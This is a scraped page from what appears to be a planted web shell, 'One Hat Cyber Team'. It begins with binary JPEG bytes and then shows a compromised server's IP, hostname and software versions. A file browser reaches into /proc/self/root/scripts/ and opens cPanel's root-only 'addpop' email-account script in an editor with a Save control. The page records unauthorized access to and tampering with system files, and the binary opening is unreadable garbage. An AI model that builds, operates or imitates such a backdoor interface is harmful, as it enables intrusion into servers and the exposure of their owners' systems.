����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
One Hat Cyber Team
One Hat Cyber Team
Your IP :
18.189.170.45
Server IP :
167.114.57.54
Server :
Linux vps.riaoverseas.com 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64
Server Software :
Apache
PHP Version :
8.0.18
Buat File
|
Buat Folder
Dir :
~
/
proc
/
self
/
root
/
scripts
/
Edit File Name :
addpop
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/addpop Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::addpop; use strict; use warnings; use Cpanel::SafetyBits (); use Cpanel::AcctUtils::DomainOwner::Tiny (); use Cpanel::Usage (); use Cpanel::Validate::VirtualUsername (); use Cpanel::Email::Maildir (); use Cpanel::Sys::Setsid::Fast (); use Cpanel::Hooks (); use Cpanel::Exception (); use constant MAX_QUOTA => Cpanel::Email::Maildir::get_max_email_quota_mib(); my @attributes = qw{ email password quota owner user domain }; run(@ARGV) unless caller(); sub run { my (@args) = @_; if ( $> != 0 ) { die( Cpanel::Exception::create("RootRequired") ); } my $debug; my $verbose; my $email; my $password; my $quota; my $opts = { email => \$email, password => \$password, quota => \$quota, debug => \$debug, verbose => \$verbose, }; Cpanel::Usage::wrap_options( \@args, \&usage, $opts ); # needed for retro compatibility @args = map { m/^\-/ ? undef : $_ } @args; # use args* for retro compatibility with old syntax my %opts = ( email => $email || $args[0], password => $password || $args[1] || q{}, quota => $quota || $args[3] || 0 ); my $pop = scripts::addpop->new(%opts); my $interactive_fields = { email => 'Please enter the pop account to add (e.g. bob@sally.com)? ', }; foreach my $field ( sort keys %$interactive_fields ) { while ( !$pop->$field() ) { print $interactive_fields->{$field}; my $input; chomp( $input = <STDIN> ); $pop->$field($input); } } Cpanel::Hooks::hook( { 'category' => 'scripts', 'event' => 'addpop', 'stage' => 'pre', }, \%opts, ); $pop->create(); Cpanel::Hooks::hook( { 'category' => 'scripts', 'event' => 'addpop', 'stage' => 'post', }, \%opts, ); return; } sub usage { my $prog = $0; my $max_quota = Cpanel::Email::Maildir::get_max_email_quota_mib(); print <<USAGE; $0 [--email=]<user\@domain.com> [[--password=]yourpassword] [[--quota=]quota] Create the specified email account --help : display this documentation --email : a valid address email ( format: user\@domain.com ) --password : password used for this account, if not provided a prompt will ask for it --quota : default quota ( in MB ) is 0 ( unlimited ), any value larger or equal than $max_quota will result in using an unlimited quota Sample usages Create an email account using only the email ( password will be asked, and default quota will be used ) > $0 user\@domain.com > $0 user\@domain.com yourpassword Create an email with password and quota from command line > $0 user\@domain.com yourpassword 1024 or > $0 --email=user\@domain.com --password=yourpassword --quota=1024 USAGE exit 1; } sub new { my ( $package, %opts ) = @_; my $self = bless {}, __PACKAGE__; # create accessor and hooks $self->_set_attributes(); # set values map { $self->$_( $opts{$_} ) } keys %opts; return $self; } sub _set_attributes { # call once at first init return unless @attributes; foreach my $att (@attributes) { my $accessor = __PACKAGE__ . "::$att"; # allow symbolic refs to typeglob no strict 'refs'; *$accessor = sub { my ( $self, $v ) = @_; if ( defined $v ) { foreach (qw{before validate set after}) { if ( $_ eq 'set' ) { $self->{$att} = $v; next; } my $sub = '_' . $_ . '_' . $att; if ( defined &{ __PACKAGE__ . '::' . $sub } ) { return unless $self->$sub($v); } } } return $self->{$att}; }; } @attributes = undef; return 1; } sub _validate_email { my ( $self, $email ) = @_; unless ( Cpanel::Validate::VirtualUsername::is_valid($email) ) { print STDERR "'$email' is not valid for a virtual account username.\n"; return; } return 1; } sub _validate_quota { my ( $self, $value ) = @_; $value =~ /^[0-9]+$/ or die "Invalid quota format"; return 1; } sub _after_quota { my ($self) = @_; # update in place $self->{quota} = 0 if $self->quota() >= MAX_QUOTA; return 1; } sub _after_email { my $self = shift; my ( $user, $domain ) = split( /\@/, $self->email ); my $owner = Cpanel::AcctUtils::DomainOwner::Tiny::getdomainowner( $domain, { 'default' => '' } ); die "Cannot find the owner of $domain, try rebuilding /etc/userdomains first with /usr/local/cpanel/scripts/updateuserdomains" unless $owner; $self->owner($owner); $self->user($user); $self->domain($domain); return 1; } sub _after_owner { my $self = shift; my ( $uid, $gid ) = ( getpwnam( $self->owner() ) )[ 2, 3 ]; die "cannot find user ", $self->owner() unless defined $uid && defined $gid; Cpanel::Sys::Setsid::Fast::fast_setsid(); Cpanel::SafetyBits::setuids( $uid, $gid ); $ENV{'REMOTE_USER'} = $self->owner(); return 1; } sub create { my $self = shift; system '/usr/local/cpanel/cpanel-email', 'addpop', $self->user(), $self->password(), $self->quota(), $self->domain(); die "\nEmail account creation failed ($?)\n" if ( $? != 0 ); my $quota_text = ( $self->quota() > 0 ) ? $self->quota() . " MB" : 'unlimited'; print "Created " . $self->email() . " with a quota of $quota_text for user " . $self->owner() . "\n"; return 1; } 1;
Save